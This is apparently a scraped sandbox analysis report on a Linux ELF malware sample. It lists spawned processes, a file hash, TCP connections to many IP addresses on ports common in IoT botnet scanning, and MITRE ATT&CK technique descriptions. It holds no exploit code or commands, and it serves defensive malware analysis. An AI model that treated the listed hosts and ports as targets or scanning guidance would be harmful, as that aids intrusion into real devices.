Analysis Process: 7ALXuklmvu.elf PID: 7428, Parent PID: 6239

General

Start time (UTC):	14:40:49
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Analysis Process: 7ALXuklmvu.elf PID: 7429, Parent PID: 6239

General

Start time (UTC):	14:40:49
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Analysis Process: 7ALXuklmvu.elf PID: 7430, Parent PID: 6239

General

Start time (UTC):	14:40:49
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Analysis Process: 7ALXuklmvu.elf PID: 7431, Parent PID: 6239

General

Start time (UTC):	14:40:49
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Analysis Process: 7ALXuklmvu.elf PID: 7432, Parent PID: 6239

General

Start time (UTC):	14:40:49
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Analysis Process: 7ALXuklmvu.elf PID: 7433, Parent PID: 6239

General

Start time (UTC):	14:40:49
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Analysis Process: 7ALXuklmvu.elf PID: 7434, Parent PID: 6239

General

Start time (UTC):	14:40:49
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Analysis Process: 7ALXuklmvu.elf PID: 7435, Parent PID: 6239

General

Start time (UTC):	14:40:50
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Analysis Process: 7ALXuklmvu.elf PID: 7436, Parent PID: 6239

General

Start time (UTC):	14:40:50
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Analysis Process: 7ALXuklmvu.elf PID: 7437, Parent PID: 6239

General

Start time (UTC):	14:40:50
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Analysis Process: 7ALXuklmvu.elf PID: 7438, Parent PID: 6239

General

Start time (UTC):	14:40:50
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Analysis Process: 7ALXuklmvu.elf PID: 7439, Parent PID: 6239

General

Start time (UTC):	14:40:51
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Analysis Process: 7ALXuklmvu.elf PID: 7440, Parent PID: 6239

General

Start time (UTC):	14:40:51
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Source: global traffic	TCP traffic: 220.226.31.47 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 217.121.249.104 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 205.153.152.20 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 186.36.32.96 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 32.101.154.179 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.196.59.121 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 212.31.178.117 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 213.47.195.110 ports 7574,8080,0,8,80,5555,37215
Source: global traffic	TCP traffic: 22.237.152.155 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 163.32.182.167 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 203.41.43.119 ports 2,5,6,8,9,52869

Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.69.121
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.69.121
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.69.121
Source: unknown	TCP traffic detected without corresponding DNS query: 201.249.104.184
Source: unknown	TCP traffic detected without corresponding DNS query: 201.237.237.152
Source: unknown	TCP traffic detected without corresponding DNS query: 207.155.209.31
Source: unknown	TCP traffic detected without corresponding DNS query: 189.36.32.96
Source: unknown	TCP traffic detected without corresponding DNS query: 189.101.154.179
Source: unknown	TCP traffic detected without corresponding DNS query: 200.178.117.113
Source: unknown	TCP traffic detected without corresponding DNS query: 201.249.104.184
Source: unknown	TCP traffic detected without corresponding DNS query: 201.237.237.152
Source: unknown	TCP traffic detected without corresponding DNS query: 207.155.209.31
Source: unknown	TCP traffic detected without corresponding DNS query: 189.36.32.96
Source: unknown	TCP traffic detected without corresponding DNS query: 200.178.117.113
Source: unknown	TCP traffic detected without corresponding DNS query: 189.101.154.179
Source: unknown	TCP traffic detected without corresponding DNS query: 201.249.104.184
Source: unknown	TCP traffic detected without corresponding DNS query: 201.249.104.184
Source: unknown	TCP traffic detected without corresponding DNS query: 201.237.237.152
Source: unknown	TCP traffic detected without corresponding DNS query: 189.36.32.96
Source: unknown	TCP traffic detected without corresponding DNS query: 201.237.237.152
Source: unknown	TCP traffic detected without corresponding DNS query: 207.155.209.31
Source: unknown	TCP traffic detected without corresponding DNS query: 200.178.117.113
Source: unknown	TCP traffic detected without corresponding DNS query: 189.36.32.96
Source: unknown	TCP traffic detected without corresponding DNS query: 189.101.154.179
Source: unknown	TCP traffic detected without corresponding DNS query: 207.155.209.31
Source: unknown	TCP traffic detected without corresponding DNS query: 200.178.117.113
Source: unknown	TCP traffic detected without corresponding DNS query: 189.101.154.179
Source: unknown	TCP traffic detected without corresponding DNS query: 88.249.104.184
Source: unknown	TCP traffic detected without corresponding DNS query: 88.249.104.184
Source: unknown	TCP traffic detected without corresponding DNS query: 88.249.104.184
Source: unknown	TCP traffic detected without corresponding DNS query: 41.237.237.152
Source: unknown	TCP traffic detected without corresponding DNS query: 145.155.209.31
Source: unknown	TCP traffic detected without corresponding DNS query: 88.36.32.96
Source: unknown	TCP traffic detected without corresponding DNS query: 145.178.117.113
Source: unknown	TCP traffic detected without corresponding DNS query: 89.101.154.179
Source: unknown	TCP traffic detected without corresponding DNS query: 41.237.237.152
Source: unknown	TCP traffic detected without corresponding DNS query: 145.155.209.31
Source: unknown	TCP traffic detected without corresponding DNS query: 145.178.117.113
Source: unknown	TCP traffic detected without corresponding DNS query: 89.101.154.179
Source: unknown	TCP traffic detected without corresponding DNS query: 88.249.104.184
Source: unknown	TCP traffic detected without corresponding DNS query: 88.36.32.96
Source: unknown	TCP traffic detected without corresponding DNS query: 41.237.237.152
Source: unknown	TCP traffic detected without corresponding DNS query: 145.155.209.31
Source: unknown	TCP traffic detected without corresponding DNS query: 145.178.117.113
Source: unknown	TCP traffic detected without corresponding DNS query: 88.36.32.96
Source: unknown	TCP traffic detected without corresponding DNS query: 89.101.154.179
Source: unknown	TCP traffic detected without corresponding DNS query: 41.237.237.152
Source: unknown	TCP traffic detected without corresponding DNS query: 145.155.209.31
Source: unknown	TCP traffic detected without corresponding DNS query: 145.178.117.113
Source: unknown	TCP traffic detected without corresponding DNS query: 89.101.154.179

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report 7ALXuklmvu.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/.1

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

HTTP Packets

System Behavior

Analysis Process: 7ALXuklmvu.elf PID: 6235, Parent PID: 6152

General

Chronological Activities

Analysis Process: 7ALXuklmvu.elf PID: 6236, Parent PID: 6235

General

Chronological Activities

Analysis Process: 7ALXuklmvu.elf PID: 6237, Parent PID: 6236

General

Chronological Activities

Analysis Process: 7ALXuklmvu.elf PID: 6238, Parent PID: 6236

General

Analysis Process: 7ALXuklmvu.elf PID: 6239, Parent PID: 6236

General

Chronological Activities

Analysis Process: 7ALXuklmvu.elf PID: 6242, Parent PID: 6239

General

Linux Analysis Report
7ALXuklmvu.elf